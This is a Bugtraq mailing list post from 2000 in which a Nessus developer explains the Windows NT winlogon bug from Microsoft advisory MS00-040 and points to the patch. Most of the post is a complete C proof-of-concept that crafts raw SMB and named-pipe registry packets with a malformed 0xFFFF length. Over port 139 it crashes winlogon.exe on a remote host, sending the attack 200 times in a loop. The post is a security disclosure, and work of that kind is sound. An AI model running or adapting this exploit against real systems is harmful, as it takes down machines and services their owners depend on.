Bugtraq mailing list archives

MS-040 'proof of concept' code


From: deraison () CVS NESSUS ORG (Renaud Deraison)
Date: Wed, 14 Jun 2000 00:30:24 +0200


Hi,

Since the release of MS advisory 00-040, I was asked by various persons
more details about the bug described in it. This bug allows a user of a
local network to crash winlogon.exe remotely.

Here is a proof of concept code which will hopefully reproduce
the problem. Nessus users have had this available as a .nasl
script for a few days now, so I have translated the code to ugly
C for the others (yes, we, Nessus developers, are open-minded).

A quick sum up is that at some place in the winlogon.exe code,
there was some instruction like :

        value = ptr[length];

where 'ptr' is a ptr to the received packet, and 'length' is
a variable which is somewhere in the packet. By malforming
the proper request, it is possible to make the code execute

        value = ptr[0xFFFF];

Which *may* cause an application error in winlogon.exe. This will
pop up a Dr. Watson error dialog, and will crash NT as soon
as the dialog is validated.

There are some "random" conditions that are necessary to make this
code work. This means: 100% success is not garanteed. So don't
bug me if that does not work for you.

Please read MS advisory 00-040 for patch information.

-------{ cut here }-------------------------------------------------------
/*
 * crash_winlogon.c
 *
 * by Renaud Deraison - deraison () cvs nessus org
 *
 * This code is released under the GNU General Public License.
 * (thanks for respecting this license)
 *
 * In case you are wondering, here is the motto I applied for this code :
 *
 *              "Structures are for sissies"
 */
#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <windows.h>
#define bzero(x,y) memset(x, 0, y)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <ctype.h>
#define closesocket(x) close(x)
#endif

char * netbios_name(char * orig)
{
 int i, len;
 char * ret = malloc(40);

 bzero(ret, 40);
 len = strlen(orig);
 for(i=0;i<16;i++)
 {
  if(i >= len)
   strcat(ret, "CA");
  else
   {
    int odiv, omod;

    odiv = (orig[i] / 16) + 'A';
    omod = (orig[i] % 16) + 'A';
    ret[strlen(ret)]=odiv;
    ret[strlen(ret)]=omod;
   }
 }
 return(ret);
}

char * netbios_redirector()
{
 int i;
 char * ret = malloc(31);
 bzero(ret, 31);
 for(i=0;i<15;i++)strcat(ret, "CA");
 strcat(ret, "AA");
 return(ret);
}

char* unicode(char * data)
{
 int len = strlen(data);
 int i;
 char * ret = malloc(110);
 int l = 0;

 bzero(ret,110);
 for(i=0;i<len;i++)
 {
  ret[i*2] = data[i];
 }

 if(len & 1){
         ret[len*2+7] = 0x19;
        ret[len*2+9] = 0x02;
        }
 else
           {
         ret[len*2+8] = 0x19;
         ret[len*2+10] = 0x02;
        }       
                
 return(ret);
}       

char *
smb_session_request(soc, remote)
 int soc;
 char* remote;
{
 char * nb_remote = netbios_name(remote);
 char * nb_local  = netbios_redirector();
 char * request = malloc(400);
 u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
 u_char req_body[] = {0x00, 0x20};
 u_char * answer = malloc(400);
 int n;

 bzero(request, 400);
 memcpy(request, req_head, 5);
 memcpy(request+5, nb_remote, strlen(nb_remote));
 memcpy(request+5+strlen(nb_remote), req_body, 2);
 memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));

 send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
 bzero(answer, 400);
 n = recv(soc, answer, 400, 0);
 if(answer[0]==0x82)return(answer);
 else return(NULL);
}

char *
smb_neg_prot(soc)
 int soc;
{
 char * r;
 u_char neg_prot[] = {0x00,0x00,
         0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
         0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
         0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
         0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
         0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
         0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
         0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
         0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
         0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
         0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
         0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
         0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
         0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
         0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
         0x62, 0x61, 0x00
         };
        
 send(soc, neg_prot, sizeof(neg_prot), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
}

char * smb_session_setup(soc, login, password)
 int soc;
 char * login, * password;
{
 int len = strlen(login) + strlen(password) + 57;
 int bcc = 2 + strlen(login) + strlen(password);
 int len_hi = len / 256, len_low = len % 256;
 int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
 int pass_len = strlen(password) + 1;
 int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;

 u_char req[] = {0x00,0x00,
              len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
          0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
          0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
          0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, pass_len_lo,  pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
          bcc_hi};
        
  char * r;
  char * s;

  s = malloc(5000);
  bzero(s, 5000);

  memcpy(s, req, sizeof(req));
  memcpy(s+sizeof(req), password, strlen(password)+1);
  memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);

  send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
  free(s);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}

char * smb_tconx(soc, name, uid)
 int soc;
 char * name;
 int uid;
{
 int high = uid / 256;
 int low = uid % 256;
 int len = 55 + strlen(name) + 1;
 int ulen = 13 + strlen(name);
 u_char req [] = {0x00, 0x00,
                   0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
                  0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
                  0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};
                
 u_char req2[] = {0x5C, 0x49,
                   0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};

 char * s = malloc(4000);

 bzero(s, 4000);
 memcpy(s, req, sizeof(req));
 memcpy(s+sizeof(req), name, strlen(name));
 memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
 send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0);
 bzero(s, 4000);
 recv(soc, s, 4000, 0);
 if(!s[9])return(s);
 else return(NULL);
}

char * smbntcreatex(soc, uid, tid)
 int soc, uid, tid;
{
 u_char tid_high = tid / 256, tid_low = tid % 256;
 u_char uid_high = uid / 256, uid_low = uid % 256;
 char* r;
 u_char req[] = {0x00, 0x00,
                     0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
                   0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                   0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
                   0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
                   0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
                   0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                   0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
                   0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
                   0x6e, 0x72, 0x65, 0x67, 0x00};
                
 send(soc, req, sizeof(req), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
}

char * pipe_accessible_registry(soc, uid, tid, pid)
 int soc, uid, tid, pid;
{
 u_char tid_low = tid % 256, tid_high = tid / 256;
 u_char uid_low = uid % 256, uid_high = uid / 256;
 u_char pipe_low = pid % 256, pipe_high = pid / 256;
 u_char req[] = {
         0x00, 0x00,
                   0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
                  0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
                  0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
                  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
                  0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
                  0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
                  0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
                  0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
                  0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
                  0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
                  0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
                  0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
                  0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
                  0x48, 0x60, 0x02, 0x00, 0x00, 0x00};
  u_char * r;

  send(soc, req, sizeof(req), 0);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}               

char * registry_access_step1(soc, uid, tid, pid)
 int soc, uid, tid, pid;
{
 u_char tid_low = tid % 256, tid_high = tid / 256;
 u_char uid_low = uid % 256, uid_high = uid / 256;
 u_char pipe_low = pid % 256, pipe_high = pid / 256;

 u_char * r;
 u_char req[] = {0x00, 0x00,
                   0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
                  0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
                  0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
                  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
                  0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
                  0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
                  0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
                  0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
                  0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
                  0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
                  0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
                  0x00, 0x02};
                
                
 send(soc, req, sizeof(req), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
}               
                

void crash_winlogon(soc, uid, tid, pid, key, reply)
 int soc, uid, tid, pid;
 char * key, * reply;
{
 int key_len = strlen(key) + 1;
 int key_len_hi = key_len / 256;
 int key_len_lo = key_len % 256;

 int tid_low = tid % 256;
 int tid_high = tid / 256;

 int uid_low = uid % 256;
 int uid_high = uid / 256;

 int pipe_low = pid % 256;
 int pipe_high = pid / 256;

 char * uc = unicode(key);
 int len_uc = 100;

 int len = 148 + len_uc;
 int len_hi = len / 256;
 int len_lo = len % 256;

 int z = 40 +len_uc;
 int z_lo = z % 256;
 int z_hi = z / 256;

 int y = 81 + len_uc;
 int y_lo = y % 256;
 int y_hi = y / 256;

 int x = 64 + len_uc;
 int x_lo = x % 256;
 int x_hi = x / 256;

 int n;
 u_char req[] = {
                   0x00, 0x00,
                   len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
                  0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17],
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
                  0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
                  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
                  0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
                  0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
                  0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
                  0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
                  0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
                  0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
                  0x00, 0x00, 0x00, 0x00, 0x0F, 0x00};
                
int x2 = 65535; /* XXXXXX */
int x2_lo = 0xFF, x2_hi = 0xFF;

u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC,
                 0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00};
                        
char * crashme = malloc(4000);
char a[] = {0xFF, 0xFF};
bzero(crashme, 4000);
memcpy(crashme, req, sizeof(req));
memcpy(crashme+sizeof(req), &(reply[84]), 20);
memcpy(crashme+sizeof(req)+20, req2, sizeof(req2));
memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc);
if((n = send(soc, crashme, len+4, 0))<0)
 {
 perror("send ");
 }
}
                

int smbntcreatex_extract_pipe(reply)
 char * reply;
{
 return(reply[43]*256+reply[42]);
}       

        
int tconx_extract_tid(reply)
 char * reply;
{
 return(reply[29]*256+reply[28]);
}

        
        

int session_extract_uid(reply)
 char * reply;
{
 int low, high;

 low = reply[32];
 high = reply[33];
 return((high*256)+low);
}

#define error() _error(__LINE__)

void _error(int line)
{
 printf("Error at line %d\n", line);
 exit(1);
}

int main(argc, argv)
  int argc;
  char * argv[];
{
 char * r;
 int soc;
 struct sockaddr_in sin;
 int uid, tid, pid;
 char * name;
 char * ip;
 char * login, * password;
 int i;
#ifdef WIN32
 WSADATA winSockData;
 WSAStartup(0x0101, &winSockData);
#endif

 if(argc < 3)
 {
    printf("Usage : winlogon host_ip netbios_name login [password]\n");
    exit(1);
 }

 name = strdup(argv[2]);
 for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]);
 ip = strdup(argv[1]);
 login = strdup(argv[3]);
 if(argv[4])password = strdup(argv[4]);
 else password = "";
 printf("ip : %s\n", ip);
 printf("name : %s\n", name);
 printf("login : %s\n", login);
 printf("password : %s\n", password);

 for(i=0;i<200;i++)
 {
 soc = socket(AF_INET, SOCK_STREAM, 0);
 if(soc < 0)error();
 bzero(&sin, sizeof(sin));
 sin.sin_port = htons(139);
 sin.sin_addr.s_addr = inet_addr(ip);
 sin.sin_family = AF_INET;
 connect(soc, (const struct sockaddr*)&sin, sizeof(sin));

 r = smb_session_request(soc, name);
 if(!r)error();free(r);

 r = smb_neg_prot(soc);
 if(!r)error();free(r);

 r = smb_session_setup(soc, login, password);
 if(!r)error();
 uid = session_extract_uid(r);free(r);

 r = smb_tconx(soc, name, uid);
 if(!r)error();
 tid = tconx_extract_tid(r);free(r);

 r = smbntcreatex(soc, uid, tid);
 if(!r)error();
 pid = smbntcreatex_extract_pipe(r);free(r);

 r = pipe_accessible_registry(soc, uid, tid, pid);
 if(!r)error();free(r);

 r =  registry_access_step1(soc, uid, tid, pid);if(!r)error();

 crash_winlogon(soc, uid, tid, pid, "x", r);
 shutdown(soc, 2);
 closesocket(soc);
 }
#ifdef WIN32
 WSACleanup();
#endif
 return 0;
}

----{ cut here }----------------------------------------------------------

                                -- Renaud

--
Renaud Deraison
The Nessus Project
http://www.nessus.org



Current thread: